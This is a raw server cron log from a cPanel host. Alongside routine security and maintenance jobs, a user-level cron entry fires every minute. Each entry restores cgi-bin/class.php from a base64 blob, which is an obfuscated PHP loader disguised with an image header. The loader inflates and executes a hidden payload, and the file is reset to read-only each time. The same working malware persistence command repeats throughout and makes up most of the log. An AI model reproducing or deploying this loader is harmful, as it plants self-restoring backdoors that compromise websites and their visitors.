Aug 30 13:53:01 server CROND[13050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:54:01 server CROND[13442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:54:01 server CROND[13444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:54:01 server CROND[13443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:55:01 server CROND[13917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:55:01 server CROND[13918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:55:01 server CROND[13928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:55:01 server CROND[13926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:55:01 server CROND[13924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:55:01 server CROND[13925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:55:01 server CROND[13929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:56:01 server CROND[14769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:56:01 server CROND[14770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:56:01 server CROND[14771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:57:01 server CROND[15139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:57:01 server CROND[15140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:57:01 server CROND[15141]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:57:01 server CROND[15142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:58:01 server CROND[15525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:58:01 server CROND[15526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:58:01 server CROND[15527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:59:01 server CROND[16214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:59:01 server CROND[16215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:59:01 server CROND[16216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:00:01 server CROND[16698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:00:01 server CROND[16699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:00:01 server CROND[16702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:00:01 server CROND[16703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:00:01 server CROND[16701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:00:01 server CROND[16704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:00:01 server CROND[16705]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:00:01 server CROND[16700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:00:01 server CROND[16708]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 14:00:01 server CROND[16707]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 14:01:01 server CROND[17565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:01:01 server CROND[17566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:01:01 server CROND[17567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:01:01 server CROND[17568]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 14:01:01 server run-parts(/etc/cron.hourly)[17568]: starting 0anacron
Aug 30 14:01:01 server run-parts(/etc/cron.hourly)[17586]: finished 0anacron
Aug 30 14:02:01 server CROND[17955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:02:01 server CROND[17956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:02:01 server CROND[17957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:03:01 server CROND[18337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:03:01 server CROND[18338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:03:01 server CROND[18339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:04:01 server CROND[18716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:04:01 server CROND[18717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:04:01 server CROND[18718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:05:01 server CROND[19253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:05:01 server CROND[19256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
